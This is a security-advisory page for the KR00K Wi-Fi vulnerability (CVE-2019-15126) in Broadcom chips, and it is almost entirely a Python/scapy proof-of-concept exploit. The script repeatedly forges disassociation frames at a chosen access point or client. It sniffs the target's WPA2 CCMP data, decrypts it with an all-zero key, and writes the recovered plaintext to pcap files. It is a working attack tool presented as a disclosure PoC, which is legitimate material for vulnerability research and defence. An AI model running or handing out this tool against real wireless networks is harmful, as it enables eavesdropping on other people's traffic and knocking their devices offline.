Broadcom Wi-Fi Devices KR00K Information Disclosure

2020.03.21
Credit: Anonymous
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

# Kr00ker # # Experimetal KR00K PoC in python3 using scapy # # Description: # This script is a simple experiment to exploit the KR00K vulnerability (CVE-2019-15126), # that allows to decrypt some WPA2 CCMP data in vulnerable devices. # More specifically this script attempts to retrieve Plaintext Data of WPA2 CCMP packets knowning: # * the TK (128 bites all zero) # * the Nonce (sent plaintext in packet header) # * the Encrypted Data # # Where: # * WPA2 AES-CCMP decryption --> AES(Nonce,TK) XOR Encrypted Data = Decrypted Data # * Decrypted stream starts with "\xaa\xaa\x03\x00\x00\x00" # * Nonce (104 bits) = Priority (1byte) + SRC MAC (6bytes) + PN (6bytes) # # This PoC works on WPA2 AES CCMP with Frequency 2.4GHz WLANs. # # References: # https://www.welivesecurity.com/wp-content/uploads/2020/02/ESET_Kr00k.pdf # # # Copyright (C) 2020 Maurizio Siddu # # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/> import argparse, threading import datetime, sys, re from scapy.all import * from scapy.layers.dot11 import RadioTap, Dot11, Dot11Deauth from Cryptodome.Cipher import AES # Proof of Sympathy ;-) LOGO = """\ __ _ ____ __ __ __ _ ____ ____ ( / )( _ \ / \ / \( / )( __)( _ \\ ) ( ) /( 0 )( 0 )) ( ) _) ) / (__\_)(__\_) \__/ \__/(__\_)(____)(__\_) """ KR00K_PATTERN = b'\xaa\xaa\x03\x00\x00\x00' class Krooker: # Define Krooker class def __init__(self, interface, target_mac, other_mac, reason, num, delay): self.interface = interface self.target_mac = target_mac self.other_mac = other_mac self.reason = reason self.num = num self.delay = delay def wpa2_decrypt(self, enc_pkt): # Try to decrypt the data contained in the sniffed packet t_key = bytes.fromhex("00000000000000000000000000000000") # This check is redundant if not enc_pkt.haslayer(Dot11CCMP): return None dot11 = enc_pkt[Dot11] dot11ccmp = enc_pkt[Dot11CCMP] # Extract the Packet Number (IV) PN = "{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}".format(dot11ccmp.PN5,dot11ccmp.PN4,dot11ccmp.PN3,dot11ccmp.PN2,dot11ccmp.PN1,dot11ccmp.PN0) # Extract the victim MAC address source_addr = re.sub(':','',dot11.addr2) # Extract the QoS tid if enc_pkt.haslayer(Dot11QoS): tid = "{:01x}".format(enc_pkt[Dot11QoS].TID) else: tid = '0' priority = tid + '0' # Build the nonce ccmp_nonce = bytes.fromhex(priority) + bytes.fromhex(source_addr) + bytes.fromhex(PN) # Finally try to decrypt wpa2 data enc_cipher = AES.new(t_key, AES.MODE_CCM, ccmp_nonce, mac_len=8) decrypted_data = enc_cipher.decrypt(dot11ccmp.data[:-8]) return decrypted_data def disassociate(self): # Forge the dot11 disassociation packet dis_packet = RadioTap()/Dot11(type=0, subtype=12, addr1=self.target_mac, addr2=self.other_mac, addr3=self.other_mac)/Dot11Deauth(reason=self.reason) # Loop to send the disassociation packets to the victim device while True: # Repeat every delay value seconds time.sleep(self.delay) print("["+str(datetime.now().time())+"][+] Disassociation frames (reason "+str(self.reason)+") sent to target "+self.target_mac+" as sender endpoint "+self.other_mac) sendp(dis_packet, iface=self.interface, count=self.num, verbose=False) def check_packet(self, sniffed_pkt): # Filter for WPA2 AES CCMP packets containing data to decrypt if sniffed_pkt[Dot11].type == 2 and sniffed_pkt.haslayer(Dot11CCMP): #print("["+str(datetime.now().time())+"][DEBUG] packet tipe:"+str(sniffed_pkt[Dot11].type)+" sub:"+str(sniffed_pkt[Dot11].subtype)) # Decrypt the packets using the all zero temporary key dec_data = self.wpa2_decrypt(sniffed_pkt) # Check if the target is vulnerable if dec_data and dec_data[0:len(KR00K_PATTERN)] == KR00K_PATTERN: print("["+str(datetime.now().time())+"][+] Target "+self.target_mac+" is vulnerable to Kr00k, decrypted "+str(len(dec_data))+" bytes") hexdump(dec_data) # Save the encrypted and decrypted packets print("["+str(datetime.now().time())+"][+] Saving encrypted and decrypted 'pcap' files in current folder") dec_pkt = bytes.fromhex(re.sub(':','',self.target_mac) + re.sub(':','',self.other_mac)) + dec_data[6:] wrpcap("enc_pkts.pcap", sniffed_pkt, append=True) wrpcap("dec_pkts.pcap", dec_pkt, append=True) # Uncomment this if you need a one-shoot PoC decryption #sys.exit(0) #else: #print("["+str(datetime.now().time())+"][DEBUG] This data decryption with all zero TK went wrong") #pass def run_disassociation(self): # Run disassociate function in a background thread try: self.disassociate() except KeyboardInterrupt: print("\n["+str(datetime.now().time())+"][!] Exiting, caught keyboard interrupt") return def main(): # Passing arguments parser = argparse.ArgumentParser(prog="kr00ker.py", usage="%(prog)s -i <interface-name> -s <SSID> -c <MAC-client> -n <num-packets> -r <reason-id> -t <target-id> -w <wifi-channel> -d <delay>") parser.add_argument("-i", "--interface", required=True, help="The Interface name that you want to send packets out of, it must be set in monitor mode", type=str) parser.add_argument("-b", "--bssid", required=True, help="The MAC address of the Access Point to test", type=str) parser.add_argument("-c", "--client", required=True, help="The MAC address of the Client Device to test", type=str) parser.add_argument("-n", "--number", required=False, help="The Number of disassociation packets you want to send", type=int, default=1) parser.add_argument("-r", "--reason", required=False, help="The Reason identifier of disassociation packets you want to send, accepted values from 1 to 99", type=int, default=0) parser.add_argument("-t", "--target", required=False, help="The Target identifier", choices=["ap", "client"], type=str, default="ap") parser.add_argument("-w", "--wifi_channel", required=False, help="The WiFi channel identifier", type=int, default="1") parser.add_argument("-d", "--delay", required=False, help="The delay for disassociation frames", type=int, default="4") args = parser.parse_args() # Print the kr00ker logo print(LOGO) # Start the fun!! try: interface = args.interface ap_mac = args.bssid.lower() client_mac = args.client.lower() reason = args.reason target_channel = args.wifi_channel n_pkts = args.number delay = args.delay # Set the selected channel if target_channel in range(1, 14): os.system("iwconfig " + interface + " channel " + str(target_channel)) else: print("["+str(datetime.now().time())+"][-] Exiting, the specified channel "+target_channel+" is not valid") exit(1) # Check if valid device MAC Addresses have been specified if client_mac == "ff:ff:ff:ff:ff:ff" or ap_mac == "ff:ff:ff:ff:ff:ff": print("["+str(datetime.now().time())+"][-] Exiting, the specified FF:FF:FF:FF:FF:FF broadcast MAC address is not valid") exit(1) # Check if a valid reason have been specified if reason not in range(1,99): print("Exiting, specified a not valid disassociation Reason ID: "+str(reason)) exit(1) # Set the MAC address of the target if args.target == "client": target_mac = client_mac other_mac = ap_mac print("["+str(datetime.now().time())+"][+] The Client device "+target_mac+" will be the target") else: target_mac = ap_mac other_mac = client_mac print("["+str(datetime.now().time())+"][+] The AP "+target_mac+" will be the target") # Krooker instance initialization krooker = Krooker(interface, target_mac, other_mac, reason, n_pkts, delay) # Start a background thread to send disassociation packets k_th = threading.Thread(target=krooker.run_disassociation) k_th.daemon = True # This does not seem to be useful k_th.start() # Start packet interception s_filter = "ether src "+str(target_mac)+" and ether dst "+str(other_mac)+" and type Data" sniff(iface=krooker.interface, filter=s_filter, prn=krooker.check_packet) except KeyboardInterrupt: print("\n["+str(datetime.now().time())+"][!] Exiting, caught keyboard interrupt") k_th.join() sys.exit(0) except scapy.error.Scapy_Exception: print("["+str(datetime.now().time())+"][!] Exiting, your wireless interface seems not in monitor mode") sys.exit(1) if __name__ == "__main__": main()


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